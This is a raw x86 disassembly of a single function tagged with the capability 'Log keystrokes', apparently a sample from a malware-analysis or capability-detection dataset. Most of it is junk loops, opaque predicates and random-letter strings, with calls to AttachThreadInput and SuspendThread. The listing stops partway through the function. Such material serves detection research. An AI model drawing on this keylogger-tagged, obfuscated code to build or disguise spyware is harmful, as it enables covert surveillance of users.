Function at 0x437b73
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c6981
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1178
call fcn.004c2a70
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x2c]
test eax, eax
je 0x43fc65
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xab0], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x94c], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x8b4], eax
mov eax, dword [ebp + 0x34]
mov dword [ebp - 0x8a4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x954], eax
mov dword [ebp - 0x610], 0x1c4e
mov dword [ebp - 0x8f8], str.mjstcls_biunpbatp_shuwbmmgh_arw_gpmgy_bdp_rkoob_gmfkde_eagbca_jqo_jlpeghl_zsxzqq_htigss
cmp dword [ebp - 0x610], 0x1d5d
jle 0x437c98
and dword [ebp - 0x18c], 0
jmp 0x437c18
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x2748
jge 0x437c98
and dword [ebp - 0x2ec], 0
jmp 0x437c3a
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x1e2f
jge 0x437c93
mov eax, dword [ebp - 0x18c]
sub eax, dword [ebp - 0x2ec]
cdq
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], edx
push dword [ebp - 0x95c]
push dword [ebp - 0x960]
lea ecx, [ebp - 0x1160]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x1160]
call fcn.00452114
jmp 0x437c2d
jmp 0x437c0b
mov eax, dword [ebp + 0x38]
mov dword [ebp - 0x88c], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x610], 0x18a9
jge 0x437cbd
push dword [ebp - 0x8f8]
call fcn.004b0bf7
pop ecx
jmp 0x437cd9
or dword [ebp - 4], 0xffffffff
jmp 0x437ce3
lea eax, [ebp + 0x18]
mov dword [ebp - 0xaa8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xab8], eax
lea eax, [ebp + 0x3c]
mov dword [ebp - 0x944], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x894], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x8ac], eax
mov eax, dword [ebp - 0x944]
movzx eax, byte [eax]
test eax, eax
je 0x43fb48
mov eax, dword [ebp - 0x94c]
mov dword [ebp - 0xad8], eax
mov eax, dword [ebp - 0x954]
mov dword [ebp - 0xae0], eax
mov eax, dword [ebp - 0xaa8]
mov dword [ebp - 0xac0], eax
mov eax, dword [ebp - 0xab0]
mov dword [ebp - 0xaf0], eax
mov eax, dword [ebp - 0xab8]
mov dword [ebp - 0xae8], eax
mov eax, dword [ebp - 0xac0]
movzx eax, byte [eax]
test eax, eax
je 0x437f4f
mov dword [ebp - 0xa4], 0xfcb50bf3
mov dword [ebp - 0x784], 0x6f65e790
mov dword [ebp - 0x36c], 0x3d1f0dfb
mov dword [ebp - 0xad0], 1
mov dword [ebp - 0x194], 0
jmp 0x437daf
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 1
jge 0x437dcb
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x168], 0x735b263d
jmp 0x437da2
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0xdf4], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x168], 0x6489
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xa4]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x168]
cmp eax, 0x6e74e800
jge 0x437e1a
mov dword [ebp - 0x78c], 1
jmp 0x437e21
and dword [ebp - 0x78c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x168]
cmp dword [ebp - 0x78c], eax
jge 0x437e42
mov dword [ebp - 0x2fc], 1
jmp 0x437e49
and dword [ebp - 0x2fc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2fc]
mov dword [ebp + eax - 0x168], ecx
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x2fc]
jg 0x437e76
mov dword [ebp - 0x794], 1
jmp 0x437e7d
and dword [ebp - 0x794], 0
imul eax, dword [ebp - 0x794], 0x2aff
cmp eax, 0xc556
jge 0x437e9a
mov dword [ebp - 0x79c], 1
jmp 0x437ea1
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x79c], eax
jle 0x437ebb
mov dword [ebp - 0x7a4], 1
jmp 0x437ec2
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x7a4], eax
je 0x437edc
mov dword [ebp - 0xac8], 1
jmp 0x437ee3
and dword [ebp - 0xac8], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xf9c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x168]
mov dword [ebp - 0xdc8], eax
mov dword [ebp - 0x36c], 1
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x36c], eax
jg 0x437f26
mov dword [ebp - 0x7ac], 1
jmp 0x437f2d
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0x7ac]
mov dword [ebp - 0xad0], eax
mov dword [ebp - 0x36c], 0xa4d9a54e
jmp 0x43fb43
mov eax, dword [ebp - 0xad8]
mov dword [ebp - 0x878], eax
mov eax, dword [ebp - 0xae0]
mov dword [ebp - 0x9c4], eax
mov eax, dword [ebp - 0xae8]
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0xaf0]
mov dword [ebp - 0x33c], eax
push 2
lea ecx, [ebp - 0xc84]
call fcn.0045223e
mov dword [ebp - 0x64], 0
jmp 0x437f9c
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x437fb8
push dword [ebp - 0x64]
lea ecx, [ebp - 0xc84]
call fcn.0045232c
mov dword [eax], 5
jmp 0x437f95
mov dword [ebp - 0x64], 0
jmp 0x437fc8
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x437fde
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x100], 0xffffffff
jmp 0x437fc1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x100], 1
jmp 0x43800c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x100], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x100], 0
jl 0x43805b
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x100]
lea ecx, [ebp - 0xc84]
call fcn.0045232c
cmp dword [eax], 0
je 0x43803b
jmp 0x43805b
mov byte [ebp - 0x9b], 0
movzx eax, byte [ebp - 0x9b]
test eax, eax
je 0x438059
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x437ff1
lea ecx, [ebp - 0xc84]
call fcn.00452310
push 3
lea ecx, [ebp - 0x178]
call fcn.0045223e
mov dword [ebp - 0x3b4], 1
mov dword [ebp - 0xe80], 0xf0d5dc5
mov dword [ebp - 0xdd0], 0xfffffff6
push 4
lea ecx, [ebp - 0xe8c]
call fcn.0045223e
mov dword [ebp - 0xf30], 6
mov dword [ebp - 0xdd8], 0x85267706
mov dword [ebp - 0xe90], 0xfffffffb
mov dword [ebp - 0xde0], 0x9b47bed2
mov dword [ebp - 0xf6c], 0xff5a50e6
mov dword [ebp - 0xde8], 0
mov dword [ebp - 0xea0], 0xfffffff8
mov dword [ebp - 0x7b4], 0x749e
mov dword [ebp - 0xaf8], str.ptkqrzj_ayyr_adjzj_pmulk_gviw_mhfgd_ebauocse_bilwflxmq_sxkou_tppji
cmp dword [ebp - 0x7b4], 0x75d3
jle 0x4381b3
and dword [ebp - 0x280], 0
jmp 0x43811e
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x70c5
jge 0x4381b3
and dword [ebp - 0x19c], 0
jmp 0x438144
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x4ffe
jge 0x4381ae
and dword [ebp - 0x1a4], 0
jmp 0x438166
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x5059
jge 0x4381ac
mov eax, dword [ebp - 0x280]
imul eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x1a4]
shl eax, cl
cdq
mov dword [ebp - 0x96c], eax
mov dword [ebp - 0x968], edx
push dword [ebp - 0x968]
push dword [ebp - 0x96c]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x438159
jmp 0x438137
jmp 0x438111
mov dword [ebp - 4], 2
cmp dword [ebp - 0x7b4], 0x7343
jge 0x4381d6
mov edx, dword [ebp - 0xaf8]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x4381f2
or dword [ebp - 4], 0xffffffff
jmp 0x4381fc
mov dword [ebp - 0x160], 0
jmp 0x438215
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 3
jge 0x438237
push dword [ebp - 0x160]
lea ecx, [ebp - 0x178]
call fcn.0045232c
mov dword [eax], 0xf5540d7f
jmp 0x438208
push 0x4ff3
lea eax, [ebp - 0x160]
push eax
push 0
lea eax, [ebp - 0xe8c]
push eax
push 0x3e20
push 0x6eee
push 0
push 0
call fcn.00432ee9
add esp, 0x20
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
mov dword [eax], 4
jmp 0x43829b
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x740]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x740]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
cmp dword [eax], 0x14
jl 0x4389b6
mov dword [ebp - 0x1a8], 0xcbbbc25
mov dword [ebp - 0x6e0], 8
mov dword [ebp - 0xa94], 0x4560f910
mov dword [ebp - 0x818], 0x5fea
mov dword [ebp - 0x184], 0
jmp 0x4382f2
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 1
jge 0x43830e
mov eax, dword [ebp - 0x184]
mov dword [ebp + eax*4 - 0x1b4], 1
jmp 0x4382e5
xor eax, eax
inc eax
je 0x43832f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1b4], 0
je 0x43832f
mov dword [ebp - 0x77c], 1
jmp 0x438336
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x77c]
sub eax, dword [ebp - 0x1a8]
cmp eax, 0x2fa4
je 0x438355
mov dword [ebp - 0x3a4], 1
jmp 0x43835c
and dword [ebp - 0x3a4], 0
cmp dword [ebp - 0x3a4], 0xee6ee3e4
ja 0x438374
mov dword [ebp - 0x5bc], 1
jmp 0x43837b
and dword [ebp - 0x5bc], 0
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
mov ecx, dword [ebp - 0x5bc]
cmp ecx, dword [eax]
jne 0x4383b0
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
cmp dword [eax], 0
je 0x4383b0
mov dword [ebp - 0x3ac], 1
jmp 0x4383b7
and dword [ebp - 0x3ac], 0
cmp dword [ebp - 0x3ac], 0xfffffff8
jle 0x4383cc
mov dword [ebp - 0x6dc], 1
jmp 0x4383d3
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x1a8]
imul eax, dword [ebp - 0x6dc]
mov dword [ebp - 0x3b4], eax
mov esi, dword [ebp - 0x3b4]
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
cmp esi, dword [eax]
jne 0x438409
mov dword [ebp - 0x5c4], 1
jmp 0x438410
and dword [ebp - 0x5c4], 0
cmp dword [ebp - 0x5c4], 0xacc702b5
jae 0x438428
mov dword [ebp - 0x3bc], 1
jmp 0x43842f
and dword [ebp - 0x3bc], 0
mov eax, 0x6e58d020
sub eax, dword [ebp - 0x3bc]
je 0x438448
mov dword [ebp - 0x6cc], 1
jmp 0x43844f
and dword [ebp - 0x6cc], 0
cmp dword [ebp - 0x6cc], 0
jl 0x438464
mov dword [ebp - 0x3c4], 1
jmp 0x43846b
and dword [ebp - 0x3c4], 0
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
mov ecx, dword [ebp - 0x3c4]
cmp ecx, dword [eax]
jg 0x438623
push 2
lea ecx, [ebp - 0x178]
call fcn.0045232c
cmp dword [eax], 0
je 0x438623
mov dword [ebp - 0x3dc], 0x7446
mov dword [ebp - 0xdf0], 0x88c8eca7
cmp dword [ebp - 0x3dc], 0x17f4926a
jle 0x4384c8
mov dword [ebp - 0x3cc], 1
jmp 0x4384cf
and dword [ebp - 0x3cc], 0
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1b4]
cmp dword [eax], ecx
jle 0x4384f9
mov dword [ebp - 0x5cc], 1
jmp 0x438500
and dword [ebp - 0x5cc], 0
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
mov ecx, dword [ebp - 0x5cc]
dec ecx
mov eax, dword [eax]
sub eax, ecx
cmp eax, dword [ebp - 0x1a8]
jg 0x43852c
mov dword [ebp - 0x6d0], 1
jmp 0x438533
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x6d0]
jg 0x43854d
mov dword [ebp - 0x3d4], 1
jmp 0x438554
and dword [ebp - 0x3d4], 0
imul eax, dword [ebp - 0x3d4], 0xfac8
cmp eax, 0xffffffff
jl 0x43856f
mov dword [ebp - 0x5d4], 1
jmp 0x438576
and dword [ebp - 0x5d4], 0
push 2
lea ecx, [ebp - 0x178]
call fcn.0045232c
mov eax, dword [eax]
sub eax, dword [ebp - 0x5d4]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1b4], eax
mov eax, 0x51a65455
sub eax, dword [ebp - 0x1a8]
jne 0x4385b7
cmp dword [ebp - 0x3dc], 0
jne 0x4385b7
and dword [ebp - 0x798], 0
jmp 0x4385c1
mov dword [ebp - 0x798], 1
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x6e0], eax
push 1
push 0x7306
push 0x14ec
push 0x60a
lea eax, [ebp - 0xa94]
push eax
push 0x2418
push 0x7b67
push 0x582f
push 1
push 0x40f7
push 0x634f
push 0x549d
push 0x7a7a
push 0x2f6f
push 0x6ac1
push 0
call fcn.0043675e
add esp, 0x40
jmp 0x4389b1
mov dword [ebp - 0x338], 0xe364
mov dword [ebp - 0x3fc], 7
mov dword [ebp - 0xf40], 0
mov dword [ebp - 0xdf8], 0xd1ce175e
mov dword [ebp - 0xeb0], 0
mov dword [ebp - 0xe00], 6
mov dword [ebp - 0xcd4], 4
mov dword [ebp - 0xcd8], 1
mov dword [ebp - 0xce0], 0x403636cd
push 1
lea ecx, [ebp - 0xe7c]
call fcn.0045223e
mov dword [ebp - 0x3e4], 0x4f50
mov dword [ebp - 0x93c], str.cimxsbmtb_gorfi_mfyntn_yzceb_nfs_sipvvnksj_lmteugjcw_yxqzg_fzewbewv_vqijiaycm
cmp dword [ebp - 0x3e4], 0x504d
jle 0x43872e
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
and dword [ebp - 0x1ac], 0
jmp 0x4386cc
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x3c50
jge 0x43872e
and dword [ebp - 0x2b8], 0
jmp 0x4386ee
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x1c9b
jge 0x43872c
mov eax, dword [ebp - 0x1ac]
imul eax, dword [ebp - 0x2b8]
cdq
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x974], edx
push dword [ebp - 0x974]
push dword [ebp - 0x978]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x4386e1
jmp 0x4386bf
mov dword [ebp - 4], 4
cmp dword [ebp - 0x3e4], 0x4c6a
jge 0x438751
mov edx, dword [ebp - 0x93c]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x43876d
or dword [ebp - 4], 0xffffffff
jmp 0x438777
mov dword [ebp - 0x108], 0
jmp 0x438790
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 1
jge 0x4387ac
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x404], 6
jmp 0x438783
push 0
push 0x2c80
lea eax, [ebp - 0xe7c]
push eax
push 0x1f4
lea eax, [ebp - 0x108]
push eax
push 0x6e3c
push 1
push 0x5bf8
push 0
push 0x3b76
push 1
call fcn.0041ecad
add esp, 0x2c
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0xce8], eax
push 2
lea ecx, [ebp - 0x178]
call fcn.0045232c
cmp dword [eax], 0
je 0x438828
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
cmp dword [eax], 0
je 0x438828
cmp dword [ebp - 0x3fc], 0
je 0x438828
mov dword [ebp - 0x5dc], 1
jmp 0x43882f
and dword [ebp - 0x5dc], 0
push 0
lea ecx, [ebp - 0x178]
call fcn.0045232c
mov ecx, dword [ebp - 0x5dc]
cmp ecx, dword [eax]
jg 0x438852
mov dword [ebp - 0x3ec], 1
jmp 0x438859
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x3ec], 0xb25a
jge 0x438871
mov dword [ebp - 0x6d8], 1
jmp 0x438878
and dword [ebp - 0x6d8], 0
cmp dword [ebp - 0x6d8], 0xfffffffb
jbe 0x438892
or eax, 0xffffffff
je 0x438892
mov dword [ebp - 0x3f4], 1
jmp 0x438899
and dword [ebp - 0x3f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x404]
cmp dword [ebp - 0x3f4], eax
jge 0x4388c0
cmp dword [ebp - 0x338], 0
jne 0x4388c0
and dword [ebp - 0x5e4], 0
jmp 0x4388ca
mov dword [ebp - 0x5e4], 1
mov eax, dword [ebp - 0x338]
imul eax, dword [ebp - 0x5e4]
test eax, eax
jne 0x4388e8
xor eax, eax
jne 0x4388e8
and dword [ebp - 0x748], 0
jmp 0x4388f2
mov dword [ebp - 0x748], 1
mov eax, dword [ebp - 0x3fc]
add eax, dword [ebp - 0x748]
cmp eax, 0x815f77fb
je 0x438911
mov dword [ebp - 0x308], 1
jmp 0x438918
and dword [ebp - 0x308], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x308]
mov dword [ebp + eax - 0x1b4], ecx
cmp dword [ebp - 0x308], 0xffffffff
jg 0x438940
mov dword [ebp - 0x5ec], 1
jmp 0x438947
and dword [ebp - 0x5ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x404]
cmp dword [ebp - 0x5ec], eax
jle 0x438968
mov dword [ebp - 0x40c], 1
jmp 0x43896f
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x6e0], eax
push 1
push 0x463f
push 1
push 0x5f1b
push 0x6e98
push 0x2407
push 0
lea eax, [ebp - 0x818]
push eax
push 0
call fcn.00450c66
add esp, 0x24
lea ecx, [ebp - 0xe7c]
call fcn.00452310
jmp 0x438277
lea ecx, [ebp - 0xe8c]
call fcn.00452310
lea ecx, [ebp - 0x178]
call fcn.00452310
mov dword [ebp - 0xac], 0xffffffff
push 1
lea ecx, [ebp - 0xb80]
call fcn.0045223e
mov dword [ebp - 0x780], 0xf1e5c8a5
mov dword [ebp - 0x60], 0
jmp 0x4389fd
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x438a19
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb80]
call fcn.0045232c
mov dword [eax], 0x5b3b9da4
jmp 0x4389f6
mov dword [ebp - 0x60], 0
jmp 0x438a29
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x438a3f
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x820], 0
jmp 0x438a22
mov dword [ebp - 0xac], 0xfffffff6
jmp 0x438a58
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xffffffeb
je 0x438b8a
mov dword [ebp - 0x368], 1
mov dword [ebp - 0x41c], 0x35e1f6f0
mov esi, dword [ebp - 0x368]
push 0
lea ecx, [ebp - 0xb80]
call fcn.0045232c
mov dword [eax], esi
mov eax, 0x4561
test eax, eax
je 0x438aee
push 0
lea ecx, [ebp - 0xb80]
call fcn.0045232c
mov dword [eax], 0xffff29df
mov eax, 0xffff29df
sub eax, dword [ebp - 0x368]
cmp eax, dword [ebp - 0xac]
je 0x438ac9
mov dword [ebp - 0x414], 1
jmp 0x438ad0
and dword [ebp - 0x414], 0
imul eax, dword [ebp - 0x414], 0x9023
cmp dword [ebp - 0xac], eax
jne 0x438aee
mov dword [ebp - 0x5f4], 1
jmp 0x438af5
and dword [ebp - 0x5f4], 0
cmp dword [ebp - 0x5f4], 0xffff
jb 0x438b0d
mov dword [ebp - 0xa34], 1
jmp 0x438b14
and dword [ebp - 0xa34], 0
mov dword [ebp - 0x41c], 0xfffffffb
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0xcf0], eax
mov eax, dword [ebp - 0x368]
add eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x780]
jne 0x438b4a
mov dword [ebp - 0x424], 1
jmp 0x438b51
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x780]
cmp dword [ebp - 0x424], eax
jne 0x438b6b
mov dword [ebp - 0x5fc], 1
jmp 0x438b72
and dword [ebp - 0x5fc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5fc]
mov dword [ebp + eax - 0x820], ecx
jmp 0x438a4b
mov byte [ebp - 0xce], 0
push 1
push 0
push 0x938
push 0xac4
push 0x549f
push 0
lea eax, [ebp - 0xce]
push eax
push 0
push 0x38b4
push 0x790e
push 1
push 0x4240
push 0x1a91
call fcn.0042ac44
add esp, 0x34
lea ecx, [ebp - 0xb80]
call fcn.00452310
push 2
lea ecx, [ebp - 0xc78]
call fcn.0045223e
mov dword [ebp - 0x288], 0x2df3d37a
mov dword [ebp - 0x58], 0xffff
mov dword [ebp - 0x9f0], 0xfffffffe
mov dword [ebp - 0x70], 0
jmp 0x438c10
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x438c26
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x7cc], 0x9ba07e4f
jmp 0x438c09
mov dword [ebp - 0x70], 0
jmp 0x438c36
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x438c4c
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x1040], 0xe1054d81
jmp 0x438c2f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7cc]
mov dword [ebp - 0xcf8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7cc]
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0
je 0x438d3c
mov eax, 0xfd43
test eax, eax
je 0x438c8f
cmp dword [ebp - 0x288], 0
mov eax, dword [ebp - 0x288]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x7cc]
cmp eax, 0x466e9f08
jg 0x438cc5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7cc], 0
je 0x438cc5
mov dword [ebp - 0x42c], 1
jmp 0x438ccc
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x42c], eax
jge 0x438ce3
mov dword [ebp - 0x6e8], 1
jmp 0x438cea
and dword [ebp - 0x6e8], 0
cmp dword [ebp - 0x6e8], 0
jae 0x438cff
mov dword [ebp - 0x434], 1
jmp 0x438d06
and dword [ebp - 0x434], 0
cmp dword [ebp - 0x434], 0xffff
jbe 0x438d1e
mov dword [ebp - 0x604], 1
jmp 0x438d25
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x604], eax
jl 0x438d3c
mov dword [ebp - 0x43c], 1
jmp 0x438d43
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x43c], eax
je 0x438d5a
mov dword [ebp - 0x750], 1
jmp 0x438d61
and dword [ebp - 0x750], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x750]
sub ecx, dword [ebp + eax - 0x7cc]
cmp ecx, 0xf5f4
jne 0x438d88
mov dword [ebp - 0x444], 1
jmp 0x438d8f
and dword [ebp - 0x444], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x444]
sub ecx, dword [ebp + eax - 0x7cc]
cmp ecx, dword [ebp - 0x58]
jl 0x438db3
mov dword [ebp - 0x60c], 1
jmp 0x438dba
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x60c], eax
jg 0x438dd1
mov dword [ebp - 0x44c], 1
jmp 0x438dd8
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x9f0], eax
mov dword [ebp - 0x58], 0x1b
jmp 0x438df4
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x13
jge 0x438e3f
mov byte [ebp - 0x8b], 0
push 0x1bfd
push 0
push 1
push 0
push 0xc4e
push 0x3e7b
push 0x1b4
push 1
lea eax, [ebp - 0x8b]
push eax
call fcn.00407ba8
add esp, 0x24
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7cc], 0
je 0x438e3d
jmp 0x438e3f
jmp 0x438ded
mov dword [ebp - 0x6f0], 0x5163
mov dword [ebp - 0x828], str.mllw_ovsi_owwagwth_qtgcy_eqnpy_ufj_hxmijv_tcfqiyk_uro_unumie
cmp dword [ebp - 0x6f0], 0x552d
jle 0x438f64
and dword [ebp - 0x1c4], 0
jmp 0x438e79
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x6e99
jge 0x438f64
and dword [ebp - 0x1bc], 0
jmp 0x438e9f
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x97
jge 0x438f5f
and dword [ebp - 0x2d0], 0
jmp 0x438ec5
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x3519
jge 0x438f5a
and dword [ebp - 0x290], 0
jmp 0x438eeb
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x6755
jge 0x438f55
mov ecx, dword [ebp - 0x1bc]
imul ecx, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x1c4]
shl eax, cl
mov ecx, dword [ebp - 0x290]
shl eax, cl
cdq
mov dword [ebp - 0x984], eax
mov dword [ebp - 0x980], edx
push dword [ebp - 0x980]
push dword [ebp - 0x984]
lea ecx, [ebp - 0x10e8]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x10e8]
call fcn.00452114
jmp 0x438ede
jmp 0x438eb8
jmp 0x438e92
jmp 0x438e6c
mov dword [ebp - 4], 6
cmp dword [ebp - 0x6f0], 0x4ec1
jge 0x438f83
push dword [ebp - 0x828]
call fcn.004b0bf7
pop ecx
jmp 0x438f9f
or dword [ebp - 4], 0xffffffff
jmp 0x438fa9
mov dword [ebp - 0xd00], 1
mov dword [ebp - 0xd08], 0xd59e57ad
mov dword [ebp - 0xd10], 0x29bf39
mov dword [ebp - 0xd44], 0xa290be44
mov dword [ebp - 0xd4c], 0xfffffff6
mov dword [ebp - 0xd54], 0x76c3a0b8
mov dword [ebp - 0xab4], 0xfffffff9
push 0x4233
push 0
push 0x658a
push 0
push 0x2cbb
push 0x6513
call fcn.0044344e
add esp, 0x18
push 0
push 0x1be6
push 0x6d2b
push 0x5dbd
push 0
push 0x261
push 0
push 1
push 1
push 0x4df7
lea eax, [ebp - 0xab4]
push eax
call fcn.0042a4eb
add esp, 0x2c
mov dword [ebp - 0xe8], 0x63185299
cmp dword [ebp - 0xe8], 0
je 0x439096
mov byte [ebp - 0xcd], 0
lea eax, [ebp - 0xcd]
push eax
push 0x659e
push 0x5ff7
push 0
push 1
push 1
